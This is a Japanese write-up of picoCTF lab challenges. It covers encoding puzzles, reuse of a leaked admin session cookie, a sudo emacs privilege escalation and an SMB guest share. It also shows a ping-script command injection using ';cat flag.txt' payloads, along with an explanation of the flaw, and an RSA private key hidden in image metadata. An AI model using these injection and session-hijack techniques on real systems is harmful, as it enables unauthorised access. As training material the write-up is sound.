picoCTF Challenge Library WriteUp

picoCTF Challenge Library のwriteup。

長らく中断していたが、心機一転、再開。

解けた問題から順次WriteUpを追加していく予定。


Easy

Undo

文字列をこねくり回してフラグを復号する問題。

base64 -d + rev + sed s/-/_/g + sed s/\(/\{/g + sed s/\)/\}/g + ROT13 でフラグを復号できた。

└─$ echo -n KTJxNW85NjQ1LWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj | base64 -d
)2q5o9645-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc

└─$ echo -n ")2q5o9645-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc" | rev                    
cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-5469o5q2) 

└─$ echo -n "cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-5469o5q2)" | sed s/-/_/g
cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2)

└─$ echo -n "cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2)" | sed s/\(/\{/g | sed s/\)/\}/g
cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2}

└─$ echo -n "cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2}" | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'
picoCTF{Revers1ng_t3xt_Tr4nsf0rm@t10ns_<REDACTED>}

Old Sessions

セッション管理の不備を突いて、管理者としてWebサイトにアクセスしてフラグを取得する問題。

Webサイト (http://dolphin-cove.picoctf.net:50257/) にアクセスして、Registerからユーザー登録を行い、ログインすると以下のページが現れた。

コメント欄よりAdminのコメントが確認できる。またmary_jones_8992/sessionsという妙なページを見つけたとコメントしているので、アクセスしてみると以下のページが現れた。

Adminのセッション情報を発見。

このWebサイトはセッションの有効期限を異常に長く設定しているため、他のユーザーのセッションの値が分かれば認証無しで、そのユーザーとしてサイトにアクセス出来てしまう。

以下はユーザー登録の際にサーバーから付与されたクッキーの情報である。セッションが2057年12月11日まで有効であることが伺える。

Set-Cookie: session=EQtRyX7_Oi99413gJbjuy29a86ZBHLUQU6AHmbU3t6o; Expires=Tue, 11 Dec 2057 15:50:07 GMT; HttpOnly; Path=/

Adminのセッション情報をクッキーに乗せてWebサイトにリクエストを送ったところ、Adminとしてサイトにアクセスできて、フラグを取得できた。

└─$ curl -i http://dolphin-cove.picoctf.net:50257 -H "Cookie: session=OUCUc_6sa9PQ4abx_PSx2Plt8ZBu6V-igX7B9MDATwQ" | grep -i pico
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2083  100  2083    0     0   4309      0 --:--:-- --:--:-- --:--:--  4321
      <p class="flag-message">picoCTF{s3t_s3ss10n_3xp1rat10n5_<REDACTED>}</p>

SUDO MAKE ME A SANDWICH

sudo権限を悪用して本来は読み取り権のないファイルからフラグを読み出す問題。

サーバーにはflag.txtというファイルがあるが、rootユーザーのみ読み取り可能。

ctf-player@challenge:~$ ls -lha
total 16K
drwxr-xr-x 1 ctf-player ctf-player   20 Apr  4 14:16 .
drwxr-xr-x 1 root       root         24 Mar  9 21:32 ..
-rw-r--r-- 1 ctf-player ctf-player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25  2020 .bashrc
drwx------ 2 ctf-player ctf-player   34 Apr  4 14:16 .cache
-rw-r--r-- 1 ctf-player ctf-player  807 Feb 25  2020 .profile
-r--r----- 1 root       root         31 Mar  9 21:32 flag.txt
ctf-player@challenge:~$ cat flag.txt
cat: flag.txt: Permission denied

catsudoつきで実行しようとしたが権限がないため失敗。

ctf-player@challenge:~$ sudo cat flag.txt
[sudo] password for ctf-player: 
Sorry, user ctf-player is not allowed to execute '/usr/bin/cat flag.txt' as root on challenge.

sudo -lでカレントユーザーがsudoつきで実行できるコマンドを確認。

ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/emacs

emacssudoつきで実行できる模様。

sudo emacs flag.txtでファイルを読み出せた。

picoCTF{ju57_5ud0_17_<REDACTED>}

Binary Digits

エンコードされたファイルをデコードしてフラグを取得する問題。

以下は渡されたファイルの中身。

└─$ cat digits.bin
11111111110110001111111111100000000000000001000001001010010001100100100101000110000000000000000100000001000000000000000000000001000000000000000100000000000000001111111111011011000000000100001100000000000010000000011000000110000001110000011000000101000010000000011100000111000001110 ---<snipped>---

大量の2進数で埋め尽くされていた。

CyberChefで2進数デコードしたところ、フラグが記載されたJPEGの画像ファイルが現れた。

Printer Shares

サーバーの共有フォルダからフラグを取得する問題。

標的サーバーの52028番ポートにてプリンターサービスが実行されているとのことだったので、smbclientでスキャンしたところ、sharesという名前の共有フォルダを発見。

└─$ smbclient -L $RHOST -p 52028                                                 
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        shares          Disk      Public Share With Guests
        IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)

そのまま共有フォルダsharesにアクセスしてflag.txtをダウンロードし、フラグを取得。

└─$ smbclient //$RHOST/shares -p 52028                                                           
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> help
?              allinfo        altname        archive        backup         
blocksize      cancel         case_sensitive cd             chmod          
chown          close          del            deltree        dir            
du             echo           exit           get            getfacl        
geteas         hardlink       help           history        iosize         
lcd            link           lock           lowercase      ls             
l              mask           md             mget           mkdir          
mkfifo         more           mput           newer          notify         
open           posix          posix_encrypt  posix_open     posix_mkdir    
posix_rmdir    posix_unlink   posix_whoami   print          prompt         
put            pwd            q              queue          quit           
readlink       rd             recurse        reget          rename         
reput          rm             rmdir          showacls       setea          
setmode        scopy          stat           symlink        tar            
tarmode        timeout        translate      unlock         volume         
vuid           wdel           logon          listconnect    showconnect    
tcon           tdis           tid            utimes         logoff         
..             !              
smb: \> ls
  .                                   D        0  Fri Mar  6 15:25:45 2026
  ..                                  D        0  Fri Mar  6 15:25:45 2026
  dummy.txt                           N     1142  Wed Feb  4 16:22:17 2026
  flag.txt                            N       37  Fri Mar  6 15:25:45 2026

                65536 blocks of size 1024. 60000 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 37 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit
└─$ cat flag.txt  
picoCTF{5mb_pr1nter_5h4re5_<REDACTED>}

Piece by Piece

分割されたZIPファイルからフラグを取得する問題。

サーバーに接続すると、part_a* という複数のファイルを発見。

ctf-player@pico-chall$ ls -lh
total 24K
-rw-r--r-- 1 ctf-player ctf-player 282 Feb  4 21:22 instructions.txt
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_aa
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_ab
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_ac
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_ad
-rw-r--r-- 1 ctf-player ctf-player  35 Feb  4 22:40 part_ae

これらのファイルは分割されたZIPファイルで、フラグを取得するにはこれらのファイルを一つのZIPファイルに統合して、解凍する必要がある。

以下のコマンドでファイルを一つのZIPファイルに統合した。

cat part_a* > combined.zip
ctf-player@pico-chall$ ls -lh
total 28K
-rw-rw-r-- 1 ctf-player ctf-player 239 Apr  5 13:29 combined.zip
-rw-r--r-- 1 ctf-player ctf-player 282 Feb  4 21:22 instructions.txt
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_aa
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_ab
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_ac
-rw-r--r-- 1 ctf-player ctf-player  51 Feb  4 22:40 part_ad
-rw-r--r-- 1 ctf-player ctf-player  35 Feb  4 22:40 part_ae

ctf-player@pico-chall$ file combined.zip
combined.zip: Zip archive data, at least v1.0 to extract

統合したZIPファイルの中にflag.txtというファイルを発見。

ctf-player@pico-chall$ unzip -Z combined.zip 
Archive:  combined.zip
Zip file size: 239 bytes, number of entries: 1
-rw-r--r--  3.0 unx       45 TX stor 26-Feb-04 22:40 flag.txt

ファイルを解凍してフラグを取得できた。(解凍のためのパスワードはinstructions.txtに記載されていた)

ctf-player@pico-chall$ unzip combined.zip 
Archive:  combined.zip
[combined.zip] flag.txt password: 
 extracting: flag.txt                
ctf-player@pico-chall$ cat flag.txt 
picoCTF{z1p_and_spl1t_f1l3s_4r3_fun_<REDACTED>}

bytemancy 0

ソースコードを解析してフラグを取得する問題。

以下は渡されたapp.pyというファイルの内容。

while(True):
  try:
    print('⊹──────[ BYTEMANCY-0 ]──────⊹')
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print()
    print('Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.')
    print()
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print('⊹─────────────⟡─────────────⊹')
    user_input = input('==> ')
    if user_input == "\x65\x65\x65":
      print(open("./flag.txt", "r").read())
      break
    else:
      print("That wasn't it. I got: " + str(user_input))
      print()
      print()
      print()
  except Exception as e:
    print(e)
    break

サーバーに接続してeeeと入力するとflag.txtからフラグが読み出される。(chr(101)もしくは0x65eにデコードされる)

└─$ nc candy-mountain.picoctf.net 49611
⊹──────[ BYTEMANCY-0 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eee
picoCTF{pr1n74813_ch4r5_<REDACTED>}

bytemancy 1

ソースコードを解析してフラグを取得する問題。

以下は渡されたapp.pyというファイルの内容。

while(True):
  try:
    print('⊹──────[ BYTEMANCY-1 ]──────⊹')
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print()
    print('Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.')
    print()
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print('⊹─────────────⟡─────────────⊹')
    user_input = input('==> ')
    if user_input == "\x65"*1751:
      print(open("./flag.txt", "r").read())
      break
    else:
      print("That wasn't it. I got: " + str(user_input))
      print()
      print()
      print()
  except Exception as e:
    print(e)
    break

eを1751文字分入力するとflag.txtからフラグが読み出される。

手動で入力するのは大変なので、Pythonのターミナルを起動して、以下のコマンドでeを1751文字分 生成してコピペした。

>>> chr(101)*1751
'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'
└─$ nc foggy-cliff.picoctf.net 62726
⊹──────[ BYTEMANCY-1 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
picoCTF{h0w_m4ny_e's???_<REDACTED>}

MultiCode

以下のエンコードされたフラグを復号する問題。

└─$ cat message.txt 
NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjMwNzAzMjMxMzkzMjcxMzcyNTM3NDQ=

Base64デコード + Hexデコード + URLデコード + ROT13でフラグを復号できた。

└─$ echo -n NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjMwNzAzMjMxMzkzMjcxMzcyNTM3NDQ= | base64 -d | xxd -r -p
cvpbPGS%7Barfgrq_rap0qvat_0p2192q7%7D

ping-cmd

コマンドインジェクションの脆弱性を突いてフラグを取得する問題。

標的サーバー上ではユーザーが入力したIPアドレスに対してpingを送るプログラムが起動していた。

└─$ nc mysterious-sea.picoctf.net 65295
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=10.6 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=10.8 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 10.580/10.694/10.808/0.114 ms

色々と入力値をいじっているうち、コマンドインジェクションの脆弱性があることが分かった。以下はプログラムに対して-c 20 8.8.8.8と入力した際の様子。

└─$ nc mysterious-sea.picoctf.net 63577
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): -c 20 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=111 time=9.53 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=111 time=9.47 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=111 time=9.61 ms
64 bytes from 8.8.8.8: icmp_seq=6 ttl=111 time=9.49 ms
64 bytes from 8.8.8.8: icmp_seq=7 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=8 ttl=111 time=9.52 ms
64 bytes from 8.8.8.8: icmp_seq=9 ttl=111 time=9.53 ms
64 bytes from 8.8.8.8: icmp_seq=10 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=11 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=12 ttl=111 time=9.58 ms
64 bytes from 8.8.8.8: icmp_seq=13 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=14 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=15 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=16 ttl=111 time=9.52 ms
64 bytes from 8.8.8.8: icmp_seq=17 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=18 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=19 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=20 ttl=111 time=9.50 ms

ping-cオプションは任意の数のICMPパケットを指定するためのオプションである。-c 20が評価されて、20個のICMPパケットが送られていることが確認できた。

さらに入力値をいじったところ、先頭に; (セミコロン)をつけることで任意のOSコマンドを実行できることが分かった。以下はプログラムに対して;lsと入力した際の様子。

└─$ nc mysterious-sea.picoctf.net 50910
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;ls
flag.txt
script.sh

lsコマンドが評価され、flag.txtscript.shというファイルの存在を確認できた。

プログラムに;cat flag.txtと入力することでフラグを読み出せた。

└─$ nc mysterious-sea.picoctf.net 50910
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;cat flag.txt
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_<REDACTED>} 

ちなみに以下はscript.shの中身。

└─$ nc mysterious-sea.picoctf.net 63214
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;cat script.sh
#!/bin/bash
echo -n "Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): "
read domain
bash -c "ping -c2 $domain"

readコマンドで受け取った値をpingコマンドに渡すシンプルなスクリプトだが、bash -cを介してpingコマンドを実行するため、$domainに格納された値がOSコマンドとして評価されてしまう。

bash -c "ping -c2 $domain"ではなく、ping -c2 $domainと記述すれば、インジェクションは起きない。

StegoRSA

画像ファイルからRSAの秘密鍵を探し出して、フラグを復号する問題。

flag.encimage.jpgという2つのファイルを渡された。

flag.encは暗号化されたファイルで、image.jpgはJPEGの画像ファイルだった。

└─$ file flag.enc 
flag.enc: data

└─$ xxd flag.enc 
00000000: a363 dd93 ee17 7e99 6776 e900 ab16 edcf  .c....~.gv......
00000010: 39d3 b681 ed5d 80da 8243 edf0 d1b4 2302  9....]...C....#.
00000020: 00eb 3e61 bce4 c2f6 0bd5 3a34 5d9c 14cd  ..>a......:4]...
00000030: 7e8e f812 6024 239f d22f fa3f 9fed 29da  ~...`$#../.?..).
00000040: 71f0 c146 fd37 6676 07a7 4557 c96c fde7  q..F.7fv..EW.l..
00000050: ea50 d893 3a8b 2e25 1061 3063 efe5 b415  .P..:..%.a0c....
00000060: ccc0 f0ce fc7a 64df 31ab ac71 7887 ef15  .....zd.1..qx...
00000070: dff4 b22e ffb4 0c0a cbbc 069b b8c2 c725  ...............%
00000080: 515f 41ca ad6f adc7 1446 b92b 8d6c eefc  Q_A..o...F.+.l..
00000090: 2482 e2c6 6dd6 c986 47ad ce3e f5ab bc04  $...m...G..>....
000000a0: 90cb 4879 1271 856d 87dd 7110 ba8d 9e45  ..Hy.q.m..q....E
000000b0: 0460 6d82 1e2e 737b 8b01 7959 cebf 562c  .`m...s{..yY..V,
000000c0: 503c 47a2 3037 55de 5ddb ed5c b895 0bfb  P<G.07U.]..\....
000000d0: 50b9 7ae1 6ca8 dac3 92f7 f419 e201 9e2d  P.z.l..........-
000000e0: 6efd b190 444c da8b db0c f10b 23a5 d318  n...DL......#...
000000f0: 7c08 cfa0 0349 e65e 77a8 4dbf 40b0 0984  |....I.^w.M.@...

└─$ file image.jpg 
image.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63", baseline, precision 8, 512x512, components 3

image.jpgexiftoolで調べたところ、コメント欄に膨大なHexエンコードされたデータを発見。

└─$ exiftool image.jpg           
ExifTool Version Number         : 12.76
File Name                       : image.jpg
Directory                       : .
File Size                       : 21 kB
File Modification Date/Time     : 2026:04:09 09:48:50-04:00
File Access Date/Time           : 2026:04:09 09:49:13-04:00
File Inode Change Date/Time     : 2026:04:09 09:48:53-04:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : 2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f494241514374566636434477465972456e480a6b34522f384e4d47305362386d366d5655793479314c4158386e62596c4a49366c6c52703067766931775262736f44646d5a34386f434642643236726c6330310a4558413378724e2f46773467634954797874714e736771327232783264414f755a57364d784931393438694c4445345641522b48325538694a695171357a33590a3531746a61532b4a6c572f7276752f573372644462726b5358676a752f776d6d4d4e6d4952367a376b7a6e356c2f747771336d584a786b4f5a5a4c7a733742740a687a72446c482f4a67556857723067786652327764767751667436514a383269586164717a483443355a4556564f333530614a557461375150616f34522b31310a5a576a746c6e356d737351554541614d36446a5962454d363655793369706c455379324e737830516e6b2b4c6d6f674551635268585371303048674f65424d4f0a5a3056485a504c4841674d4241414543676745414347336449592f2f50634f724674523670676f64435144557834582b57692b6757494a3153635456754c53490a342b5a356c6d664c676931346e636a786356564f4635366c3331776965702b6653677865433668544245516e774c595945514a516b4946752b664650386661300a55782f466e337a54634b4c4b4674447a587877643332705736633833425173587539754d57796f37554a4a2b7a64554d4c735048333753627457507a525550330a43426854527245376670654b75437074435655697136316c58666d4e58346b427759634179433477734132376b576c6e747a644c456e70786e566141664f74310a6a762f78786366327839556130793033342f57694c4a30394a566951446d6d36794442734a67674f6c4b4b562f4430614c656c764f70484d746b3178584f33660a724c574a693534577252424a4a4d426b305233584945575361475363785156504476455065484e3651514b42675143314554733066346a785058444d723970670a694e7338716b3755714d784b4543554b6d5a356f73336e6534455530364d69662b6c4e524e4e5a6d4e784f6e46544b4638363042794c5650305051565a3758660a4937712f6f7263324f6c46515330503937326a30574a527a4732504353552b644b48777768674b6c5a386b31684138564f493457573664626f34695a65684a700a55335a717430674f766633395238373547637276634e754e35774b426751443145613137562b66732f7a496c56744a35524b676e70317476766b6b58556735440a54675a624662716d4d576f4e6a6372764c4938365471373030414c6a42674861556b59376e397a52673834574e42574972564a6c687566724b6847436b7170620a4b737969564f51644569376f4c706358497846416f56373970564f7633783775626e4653693146662b6d48446575427535555a6b42486c4e535936437257364a0a676a64706a71595949514b426746684d787571624a3155392b547859706335643730787559584d6a766a79414578425153676756506d474b545457344c3936550a5850314648796c4a7772504169707234636d356b5373645a7879364a4852427368433367564369463242476f49736737634a74346479794c4e754d516a56712b0a32354675534f7751365062494a2f4c5a576246646b516748674234596764494c656277684657726244486e7741756448784d647636694952416f47414c636b440a744575554650384969316c524d543757653749557279664a324157496a4b4b444a586c46796337706c5761735230723335316a543777443979525253504575710a7533442b66465933706f5a4d6a36427943473350336d755a6f64397333474e2b6e38566b614e6f4130586743326c752b3257684d71753638563974446d4341690a4939334c636a6342464e68634864765037746533496531674a71486f534f422f49635634326f4543675945416a3744674f744c734e65444a4f5a6856774730480a677a5067634332655932513575675735764f62747245584a7245796f313838453174457544654c6e4f4a5a556273444b6447635254526a4541617a66436866450a5847307844473954537639737133687a394976455348345470386363666f4b382b756c71544343767a3567366c39304232714f7046372f364a3844754d4e786e0a4e2f4f77424e6f4e507a4d6c6132434a6d6243736247633d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a
Image Width                     : 512
Image Height                    : 512
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 512x512
Megapixels                      : 0.262

Hexデータをデコードしたところ、RSAの秘密鍵が現れた。

